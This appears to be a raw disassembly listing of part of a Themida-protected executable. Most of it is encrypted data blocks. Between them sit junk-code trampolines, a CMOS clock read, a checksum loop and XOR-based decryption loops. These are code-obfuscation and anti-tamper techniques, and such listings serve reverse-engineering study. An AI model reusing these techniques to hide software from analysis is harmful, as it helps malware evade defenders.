dd 0C3554500h, 102D1742h, 6625D44Fh, 8394D0BFh, 0A82E3DBDh
dd 840F0006h, 6Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 19h, 0AEC35343h, 89F9F152h, 0C781661Eh, 0BF96FCCBh
dd 6F458FD3h, 0FE850h, 0FFF70000h, 0F5C19BB1h, 0FD8F20F7h
dd 3F26DD29h, 83BB66E0h, 6A965B7Dh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 6159C353h
dd 0EF74EEAEh, 0E05416AAh, 0A227B5FFh, 6A06ABh, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 1DD4A7C3h, 0B9BCEDF9h, 95FFF88Bh, 6A83185h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F7C35242h, 0B9702A0Eh
dd 232CF7A1h, 0A82B49BDh, 27B5FF06h, 6A06ABA2h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
dd 0DBB5C353h, 1FB96EDh, 0F5595FFh, 0EE806A8h, 69000000h
dd 6D712079h, 0C896E813h, 0DF81FDF7h, 0C99D8997h, 5F06A820h
dd 77DBD83h, 0F0206A8h, 7184h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0FA1E5DE8h
dd 0E4226970h, 7E96034h, 3F000000h, 54A913BCh, 8D8B4A9Dh
dd 6A81FBDh, 19858B61h, 0F06A80Dh, 28Ch, 0C6DD8A00h, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 0F1145C3h, 580h, 0D7816600h, 85C760CDh, 6A80DC1h, 0
; ---------------------------------------------------------------------------
mov ebx, esi
loc_59B16E: ; CODE XREF: Themida_:0059AD58j
; Themida_:0059AD8Ej
jmp near ptr dword_59A0D0+48Ah
; ---------------------------------------------------------------------------
push 0
push esi
call sub_59B17E
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59B17E proc near ; CODE XREF: Themida_:0059B176p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_59B17E endp
; ---------------------------------------------------------------------------
dw 0CE26h
dd 8DC18B71h, 0A8338585h, 9D8B5106h, 6A80911h, 5250905Bh
dd 0EE9h, 91170600h, 8368AFh, 0E0C321AFh, 0FC4EB95h, 5A83B731h
dd 89905058h, 0A80B2595h, 6A006A06h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 51A0C357h
dd 909A6B59h, 0D6BBD405h, 6A006AFCh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 9636C351h
dd 0AE9h, 0A3159B00h, 6B673768h, 8DFD8098h, 0AD196085h
dd 0F18D8906h, 8B06A80Fh, 0A816CD9Dh, 5C08306h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0ECC35646h, 375C3058h
dd 0A186EDCBh, 0EE946h, 0DC8F0000h, 0A950A616h, 7296B2FBh
dd 8F4FD11Ch, 10E990h, 8DCA0000h, 0CB84546Ah, 25D687F8h
dd 0F94FEBD6h, 6650274Fh, 90808ABBh, 0B008D381h, 6AF81BEEh
dd 0BD9D8B00h, 6A06A80Eh, 1DBD8B00h, 0FF06A816h, 0A8254195h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h
dd 0C3504000h, 0F757016h, 0F8925CBh, 0FB8BFFBFh, 8C7F8D8Dh
dd 0F38106ABh, 1BC1F748h, 870FD1FFh, 2, 0B70FDD8Ah, 9DBD83F8h
dd 106A833h, 7F850Fh, 0BD010000h, 6A82129h, 6A026Ah, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 2F44A1C3h, 5ED28734h, 0BB66EEB3h, 66504F75h, 489F98Bh
dd 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 0E4570B97h, 7BBB6653h, 95FF5F0Fh, 6A81E1Dh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0CBC35747h
dd 0D8DE9F8h, 0E80000h, 5D000000h, 196AED81h, 6A06ADh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 53286C3h, 617C9D3Eh, 2ECD9D89h, 9D0B06A8h, 6A80DD1h
dd 7E2E858Dh, 6A06ABh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1D0424h, 51410000h, 9F0E12C3h, 13CF07A5h, 8B47F772h
dd 0A80B49BDh, 1853106h, 9006A81Ch, 53B86660h, 505061C4h
dd 0F525052h, 5A2EBB31h, 585A55FEh, 585A310Fh, 57006A90h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 0B5895982h, 6A80565h, 35FF64h, 89000000h, 0A82D819Dh
dd 25896406h, 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_59B43F
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59B43F proc near ; CODE XREF: Themida_:0059B437p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 14h
inc ecx
push ecx
retn
sub_59B43F endp
; ---------------------------------------------------------------------------
jz short loc_59B484
mov ebp, 6A81D59h
mov bh, 0BAh
inc dword ptr [ebp+6A833F1h]
mov [ebp+6A80C5Dh], eax
push 0FFFFFFFFh
push 0
push edi
call sub_59B471
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59B471 proc near ; CODE XREF: Themida_:0059B469p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_59B471 endp
; ---------------------------------------------------------------------------
db 0D7h, 0ECh, 34h
; ---------------------------------------------------------------------------
loc_59B484: ; CODE XREF: Themida_:0059B44Fj
add cl, [esi+1DB5897Dh]
or [eax+51BD8B06h], ebp
daa
test al, 6
push dword ptr [ebp+6A80915h]
push 0
push ecx
call sub_59B4A4
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59B4A4 proc near ; CODE XREF: Themida_:0059B49Cp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 14h
inc ecx
push ecx
retn
sub_59B4A4 endp
; ---------------------------------------------------------------------------
adc cl, [ebx-57F92A43h]
push es
mov ebx, 1619610Fh
call dword ptr [ebp+6A82A7Dh]
jmp loc_59B5EC
; ---------------------------------------------------------------------------
jmp loc_59B4D8
; ---------------------------------------------------------------------------
dd 72B7E69Eh, 0D14C2873h
; ---------------------------------------------------------------------------
loc_59B4D8: ; CODE XREF: Themida_:0059B4CBj
jmp loc_59B4EE
; ---------------------------------------------------------------------------
db 5, 0E8h, 88h
dd 1FBDEC4Eh, 9AD9BC0Dh, 0BC830416h
db 0F7h, 61h
; ---------------------------------------------------------------------------
loc_59B4EE: ; CODE XREF: Themida_:loc_59B4D8j
mov al, 0
movzx edi, di
out 70h, al ; CMOS Memory:
; used by real-time clock
jnp loc_59B4FC
cld
loc_59B4FC: ; CODE XREF: Themida_:0059B4F5j
in al, 71h ; CMOS Memory
jge $+6
cmp al, 61h
jnb loc_59B5EC
mov ebx, [ebp+6A80AA5h]
movzx ecx, al
xor ebx, [ebp+6A807C9h]
mov edx, 6
sub ebx, 0E6758F7h
mov eax, ecx
call sub_59B539
or al, 0FFh
mov esp, 2E104653h
mov eax, 2B6499B9h
; =============== S U B R O U T I N E =======================================
sub_59B539 proc near ; CODE XREF: Themida_:0059B528p
jbe loc_59B545
mov ebx, [ebp+6A82B9Dh]
loc_59B545: ; CODE XREF: sub_59B539j
pop edi
shr eax, 4
mov di, cx
mul dx
mov [ebp+6A816DDh], edx
sub ecx, eax
jo loc_59B563
mov [ebp+6A82999h], eax
loc_59B563: ; CODE XREF: sub_59B539+1Ej
mov edx, ecx
push edx
mov edi, [ebp+6A8093Dh]
pop edi
jmp loc_59B5EC
; ---------------------------------------------------------------------------
xor edi, [ebp+6A81F9Dh]
mov eax, [ebp+505F4C4Ch]
add eax, 7
mov bl, 0B2h
add eax, 0
mov bx, dx
mov [ebp+6A81F61h], ebx
cmp edx, eax
jnb loc_59B5AC
movsx edi, cx
mov ebx, [ebp+6A81001h]
jmp loc_59B5EC
; ---------------------------------------------------------------------------
movzx ebx, cx
mov di, 0A987h
loc_59B5AC: ; CODE XREF: sub_59B539+58j
mov ecx, [ebp-1]
and ecx, 1
jz loc_59B5EC
jmp loc_59B5CD
; ---------------------------------------------------------------------------
dd 0FFB19B41h, 2A4A4C8Bh, 0D08E3F94h
db 70h
; ---------------------------------------------------------------------------
loc_59B5CD: ; CODE XREF: sub_59B539+82j
and dword ptr [ebp-1], 0FFFFFFFEh
mov ebx, [ebp+6A831D9h]
mov [ebp+505F4C4Ch], edx
jge loc_59B5E7
cmc
loc_59B5E7: ; CODE XREF: sub_59B539+A7j
jmp $+5
loc_59B5EC: ; CODE XREF: Themida_:0059B4C6j
; Themida_:0059B506j ...
lea esi, [ebp+6AC95BFh]
mov [ebp+6A80FB5h], edx
push 0
and di, 0E3E6h
call dword ptr [ebp+6A81B31h]
mov di, 0B682h
mov ecx, 102Ah
sub bl, 0ADh
and ecx, 0FFFFFFFCh
jmp loc_59B622
; ---------------------------------------------------------------------------
db 0F3h, 0A8h, 1Eh
dd 0FF7F9C5Fh
db 49h, 73h
; ---------------------------------------------------------------------------
loc_59B622: ; CODE XREF: sub_59B539+DBj
cld
and bx, 2FAAh
sub eax, eax
jmp loc_59B636
; ---------------------------------------------------------------------------
db 0A3h
dd 95E2B26Fh
db 75h, 92h
; ---------------------------------------------------------------------------
loc_59B636: ; CODE XREF: sub_59B539+F1j
sub edx, edx
mov edi, 6B209975h
loc_59B63D: ; CODE XREF: sub_59B539+10Ej
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_59B63D
push 0
push ecx
call sub_59B654
and [ecx-3Dh], bl
sub_59B539 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_59B654 proc near ; CODE XREF: sub_59B539+113p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_59B654 endp
; ---------------------------------------------------------------------------
adc cl, ds:89547B11h
popf
sub eax, 8B06A800h
popf
popa
daa
test al, 6
add [ebp+6A81671h], esi
sub [ebp+6A819DDh], esi
mov [ebp+6A81401h], ebx
or eax, 88h
push 0
push edi
call sub_59B697
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59B697 proc near ; CODE XREF: Themida_:0059B68Fp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_59B697 endp
; ---------------------------------------------------------------------------
db 0CEh
; ---------------------------------------------------------------------------
mov edx, 5B9958Bh
test al, 6
pusha
add dx, 55BBh
or [ebp+6A814B9h], esi
popa
mov ecx, [ebp+6A81469h]
push esi
and di, 0D4C0h
pop edi
push eax
mov eax, edx
mov ebx, [eax]
add eax, ecx
mov ebx, [eax]
mov eax, ecx
shr eax, 1
add eax, edx
mov ebx, [eax]
pop eax
mov di, dx
cmc
cmp dword ptr [ebp+6A80C91h], 0
jz loc_59B779
cmc
mov eax, 0
push 0
push ecx
call sub_59B6FD
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59B6FD proc near ; CODE XREF: Themida_:0059B6F5p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 17h
inc ecx
push ecx
retn
sub_59B6FD endp
; ---------------------------------------------------------------------------
db 0BAh, 1Bh, 2
dd 959D293Bh, 6006A80Ah, 31E5BD31h, 0BD8906A8h, 6A8350Dh
dd 0AF8D8D61h, 0E806A84Fh, 13h, 0C4D450BBh, 0B0BF1862h
dd 0F496DC0Fh, 4978CF66h, 56B62436h, 15A18D31h, 5B5F06A8h
dd 6AE1FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
dd 55450000h, 90C27BC3h, 2D9D8B1Dh, 8906A834h, 0A80B01B5h
; ---------------------------------------------------------------------------
push es
loc_59B779: ; CODE XREF: Themida_:0059B6E6j
cmp dword ptr [ebp+6A80BBDh], 0
jz loc_59BC28
push 0
push esi
call sub_59B791
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59B791 proc near ; CODE XREF: Themida_:0059B789p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_59B791 endp
; ---------------------------------------------------------------------------
db 2Fh, 62h, 0A1h
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+6A80BBDh], 1
jz loc_59BC43
push 0
push ebx
call sub_59B7BC
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59B7BC proc near ; CODE XREF: Themida_:0059B7B4p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_59B7BC endp
; ---------------------------------------------------------------------------
dd 325AE5F0h, 0E821EF71h, 11h, 0A093EF93h, 2298ED1Dh, 0B1ED0C7Dh
dd 85CE3219h, 0C38060F3h, 835F61F1h, 0A80BBDBDh, 860F0306h
dd 411h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ch, 33C35747h, 5E71F3DBh, 85AF645Dh, 14E8h, 74B0000h
dd 2D21B105h, 0FADAF46Ah, 7E6DAAF4h, 0DE80A3ADh, 5FFC8AECh
dd 16818D29h, 0F6006A8h, 68Bh, 0C9958900h, 6606A81Bh, 6AD98Ch
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 593272C3h, 80FABF0Fh, 0BF0F04E1h, 0FC90AF9h, 19584h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h
dd 0C3574700h, 0CAA0AA89h, 95897AF4h, 6A81631h, 0BE1858Bh
dd 6A06A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
dd 57470000h, 0C8CE1FC3h, 98A9FF9Fh, 1D5D8533h, 6A06A8h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
dd 4A0F0EC3h, 0A3D43EBh, 23609799h, 0A8260185h, 1D858B06h
dd 6106A82Bh, 505B5190h, 583CE0BFh, 6A9034h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 2D994C3h
dd 7B947681h, 17718589h, 8A0F06A8h, 6, 0CA62E381h, 6A45DDh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 6BC35343h
dd 4E8h, 1F03FF00h, 5E900h, 0F8B50000h, 50A26B41h, 0DF8B5250h
dd 860F310Fh, 2, 585A5B52h, 424448Bh, 8D7307BFh, 0F008B2Ah
dd 8Ch, 24448900h, 58DF8B04h, 32F59529h, 95FF06A8h, 6A80741h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 13C35545h
dd 15BD0B56h, 5F06A805h, 33F56057h, 0A815C1B5h, 895B6106h
dd 0ABA22785h, 31BD3306h, 8106A814h, 19CB04DBh, 1CFE909h
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
dd 50400000h, 9FE53C3h, 1414D3ABh, 858BC6A7h, 6ABA21Fh
dd 1F39B589h, 0C706A8h, 18h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 66C35242h, 0D3BAFB71h, 0BD2BB1F5h
dd 6A805C1h, 8BD98B66h, 0ABA223B5h, 71BD8906h, 8B06A827h
dd 0A82B7D85h, 0FB8B5706h, 8B06895Bh, 0A80BE185h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 8A783A34h, 2BE37785h, 33BAB7EFh, 0A81999BDh, 4468906h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 36C35646h
dd 0EC34C62Eh, 80456483h, 0F5018D3h, 387h, 0DF8B6600h
dd 66243489h, 0FF5593BBh, 0ABA21FB5h, 0F8B70F06h, 0A890Fh
dd 840F0000h, 4, 2826BF66h, 4A48EE68h, 0FE861h, 1E300000h
dd 3C270157h, 0FD7DADC8h, 0A735F3DFh, 15830F81h, 0E8000000h
dd 0Fh, 98DA62FEh, 9D3F39B9h, 7F8CBD73h, 5BD41E6Fh, 2434815Bh
dd 61554B11h, 8DDFB70Fh, 0ABA22785h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 4BF87FBFh
dd 8B60CB1Fh, 0A82EA98Dh, 31958906h, 6106A801h, 17870F90h
dd 0E9000000h, 12h, 3724BD9Bh, 0BE0DC183h, 0C2FDBE24h
dd 6B005FF2h, 6650DA33h, 6A90FA8Bh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0DCF9C357h
dd 939133D8h, 53789D62h, 0B63CF381h, 8B5B4836h, 4195FFF9h
dd 8906A807h, 0A83199B5h, 6A6106h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 160424h, 53430000h, 61DCB0C3h, 22D99589h
dd 85C706A8h, 6A80BBDh, 3, 83DFB70Fh, 0ABA227BDh, 840F0006h
dd 0Dh, 0E519D8Bh, 1DE906A8h, 8B000000h, 0C3050DAh, 11440011h
dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h
; ---------------------------------------------------------------------------
loc_59BC28: ; CODE XREF: Themida_:0059B780j
; Themida_:0059BC3Fj
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_59BC28
jmp short loc_59BC5E
; ---------------------------------------------------------------------------
loc_59BC43: ; CODE XREF: Themida_:0059B7ABj
; Themida_:0059BC5Aj
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_59BC43
jmp short $+2
loc_59BC5E: ; CODE XREF: Themida_:0059BC41j
mov eax, eax
push 0
push ebp
call sub_59BC6B
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59BC6B proc near ; CODE XREF: Themida_:0059BC63p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_59BC6B endp
; ---------------------------------------------------------------------------
db 0B4h
dd 2F07453Dh, 0B70FCE51h, 57006AD9h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 5E8F30Ah, 0F6000000h
dd 0DE6040Bh, 0DA8913BFh, 81665F42h, 8368B6E3h, 0A80BBDBDh
dd 850F0306h, 3CCh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 9CC35343h, 0AF5C080Fh, 2915E54Dh, 0A81DA195h
dd 39BF6606h, 27BD834Dh, 6ABA2h, 392840Fh, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 0EAA87FC3h, 9D1CDE30h, 66D89D02h, 0B5FFDE8Bh, 6ABA227h
dd 33ED9501h, 95FF06A8h, 6A815F9h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 14h, 4CC35242h, 0B58BF9F9h, 6ABA21Bh
dd 3451BD8Bh, 6C706A8h, 10001h, 22319D89h, 850906A8h, 6A8214Dh
dd 24348950h, 1DE5B589h, 0B5FF06A8h, 6ABA227h, 0A859D8Bh
dd 816606A8h, 0FF72DED3h, 0A8219995h, 57006A06h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
dd 0D3816684h, 0B70F6CA0h, 1BB58BD8h, 0E806ABA2h, 14h
dd 372300E7h, 613878B8h, 0BD25B7DFh, 55FE07DEh, 9B6A7AF1h
dd 0E0E9F381h, 8B5B774Ch, 0A80E4185h, 57006A06h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 47A7CBA1h, 1D651C46h, 0C48689h, 860F0000h, 6, 14C9BD8Bh
dd 958B06A8h, 6A805B9h, 4C283F9h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 17h, 0A3C35040h, 814738AEh, 0C44CAE7h
dd 25BD030Eh, 8906A815h, 6A2050h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1A0424h, 52420000h, 22B522C3h, 4CF594F8h
dd 0CE8h, 39BEC800h, 1F562E46h, 0D9F26Ch, 0FEBF0F25h, 0CE858D5Bh
dd 0F806ABB7h, 0B88689h, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 170424h, 50400000h, 931DB6C3h, 59D89EEh
dd 6A06A825h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1A04h, 0C3504000h, 0FB8101A9h, 0FF7B5B2Ah, 0ABA227B5h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h
dd 0C3564600h, 4B09DEE7h, 95FFB1FEh, 6A81E1Dh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 71C35545h, 0B6E781C0h
dd 0F61FBE0h, 6650F9BFh, 3489D88Bh, 0EF805224h, 0B5FF5FD0h
dd 6ABA227h, 95FFDA8Bh, 6A82A69h, 8E59D8Bh, 0BD8306A8h
dd 6A82E3Dh, 1C840F00h, 60000000h, 26918D8Bh, 0BB6606A8h
dd 9661238Fh, 0AA16F6BBh, 0FE8A504Eh, 0C0CF8196h, 0FF150AD3h
dd 0ABA227B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1904h, 0C3504000h, 0CCD7D5h, 0C3815E5Eh
dd 13EEB5A2h, 95FF00B7h, 6A83185h, 13E9h, 7E37B900h, 0F6E2AD37h
dd 2B50245h, 0A58A98C5h, 0E2E5C804h, 0A227B5FFh, 0BD2906ABh
dd 6A82685h, 0F5595FFh, 6A06A8h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1A0424h, 50400000h, 0C835AAC3h, 0F9F8FD2Ch
dd 77DBD83h, 0F0206A8h, 5784h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 5EFFDEA5h
dd 8BE4A903h, 0A80D1985h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0C6CEF54Eh
dd 0F82122D4h, 0C6F8208Dh, 9D8B0000h, 6A81FA5h, 0DC185C7h
dd 6A8h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 180424h, 53430000h, 166FE7C3h, 9D8B3DC7h, 6A81B19h
dd 0FFF3CFE9h, 50006AFFh, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 4C45E053h, 0E92C067Ch
dd 0Dh, 0F14A7DA8h, 0BEF7F3C1h, 0CB3244EEh, 6AC18B1Eh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h
dd 45000000h, 7806C355h, 0A41EBF46h, 6810FC9h, 8B000000h
dd 0A807F1BDh, 1D9D8906h, 8D06A82Bh, 0A8338585h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 0BE8B041h, 8B000000h, 188A0DD5h, 46FC4B57h, 8F0F62CBh
dd 3, 5BDFBF0Fh, 8B665350h, 4895BDAh, 56006A24h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 8E0D11C7h, 2B4FBF76h, 6A3C35h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 14h, 4C35545h, 9D8B006Ah, 6A81B91h
dd 290A858Dh, 6A06ADh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 190424h, 50400000h, 98F92EC3h, 8BCCDB8Eh, 0A801E9BDh
dd 83DA8B06h, 0D98A05C0h, 0E157BB50h, 4896721h, 9BD8B24h
dd 8B06A81Ch, 6A006AD9h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1D042444h, 46000000h, 8433C356h, 89802478h
dd 0ED00D187h, 74CF8166h, 6A006A0Fh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 1035C357h
dd 4D9D2367h, 0E906A833h, 0Ch, 0D9D2B841h, 9F301120h, 0F623B197h
dd 254195FFh, 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1C0424h, 51410000h, 7DBFFBC3h, 55BBC47h, 8D8DEB8Dh
dd 6AB8C7Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ch, 1BC35747h, 0A37B462Ch, 4F7A44F6h, 9D29D1FFh, 6A817B1h
dd 339DBD83h, 0F0106A8h, 7685h, 56BB6600h, 66026AB6h, 0E9C13DBBh
dd 0Ah, 0FC6CB1Ah, 95DF8F92h, 60506940h, 6AA2EDB9h, 0F78B6640h
dd 24048961h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ch, 1DC35545h, 0D9FC7465h, 587C7E5Ah, 95FFFE8Bh, 6A81E1Dh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 7EC35646h
dd 719589F5h, 0E906A82Ah, 0E61h, 0E8h, 0ED815D00h, 6AD2914h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 41C35141h
dd 0EE801345h, 15830Fh, 10E90000h, 8C000000h, 0F82A467Dh
dd 2B4E014Ch, 69E27EE8h, 0F1CFFACh, 858DF9BFh, 6AB7E2Eh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0C1C35141h
dd 9FA94C80h, 0CF9BD8Bh, 895006A8h, 6A2404h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0D00CCAC3h
dd 4FFB044Eh, 64FA8B66h, 35FFh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 170424h, 57470000h, 4D7A52C3h
dd 7E902h, 0DFFC0000h, 94E22BF8h, 298D89B7h, 6406A811h
dd 2589h, 0B70F0000h, 0F185FFFFh, 8106A833h, 2B2816CFh
dd 6AFF6A45h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 19042444h, 46000000h, 80BEC356h, 867A65A3h, 51DBD03h
dd 0B5FF06A8h, 6A83509h, 739BD89h, 95FF06A8h, 6A82A7Dh
dd 140E9h, 6E800h, 5BA20000h, 0D7EEA373h, 2691BD8Bh, 0B05F06A8h
dd 919D8B00h, 0E606A819h, 91852970h, 0E406A822h, 68A0F71h
dd 89000000h, 0A8211D85h, 0F613C06h
dd 10883h, 398D8900h, 0F06A801h, 3EBFC8B6h, 0BA0752B4h
dd 6, 0BE857h, 0EB940000h, 78D6925h, 4C1943A7h, 0EE9F0h
dd 0AF0F0000h, 2CD1FBC6h, 0FBC3C234h, 94835C3Ch, 0C18B5F5Fh
dd 2304E8C1h, 0A828799Dh, 5FFC5306h, 0FE2F766h, 0C82BFAB7h
dd 68A0Fh, 9D8B0000h, 6A833D5h, 0CB81D18Bh, 23370C1Eh
dd 0A0E9h, 31BD8B00h, 8B06A80Dh, 47554C85h, 800F5349h
dd 6, 21E5B589h, 665B06A8h, 7F14D781h, 8B07C083h, 0A82C51BDh
dd 0C08306h, 9B7BBF66h, 830FD03Bh, 31h, 12E8h, 0EDFA200h
dd 9563D742h, 0F8EA206Ch, 9151A88Ch, 0E8B0EB81h, 7, 0AE80D3D7h
dd 0F8487ADFh, 3EE95F5Bh, 8B000000h, 0A8015DBDh, 0FF8D8B06h
dd 0FFFFFFFh, 0E183DFBFh, 26840F01h, 29000000h, 0A81499B5h
dd 0FFA58306h, 0FEFFFFFFh, 66FEBF0Fh, 0F5B3F781h, 554C9589h
dd 9D8B4947h, 6A806C1h, 0E9h, 0E9B58D00h, 6A06ACA5h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
dd 6A60C353h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1A04h, 0C3534300h, 2CBF24C5h, 6660862Ah, 609D2FBBh
dd 0C2816656h, 0BB5AA74Fh, 196F470h, 3195FF61h, 6006A81Bh
dd 5F02F181h, 880F0F5Bh, 0
; ---------------------------------------------------------------------------
popa
mov ecx, 0EB6h
or [ebp+6A81D71h], edx
and ecx, 0FFFFFFFCh
push 0
push edx
call sub_59C60E
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59C60E proc near ; CODE XREF: Themida_:0059C606p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_59C60E endp
; ---------------------------------------------------------------------------
dw 0F7FBh
dd 0C87D4656h, 0BF1B5AE4h, 495399EBh, 0A5BD8B60h, 6106A81Fh
dd 8D8D89FCh, 2B06A828h, 0FE9C0h, 6CF90000h, 6897104h
dd 8964C7D7h, 6D66F2D3h, 6AD22B42h, 3E85600h, 20000000h
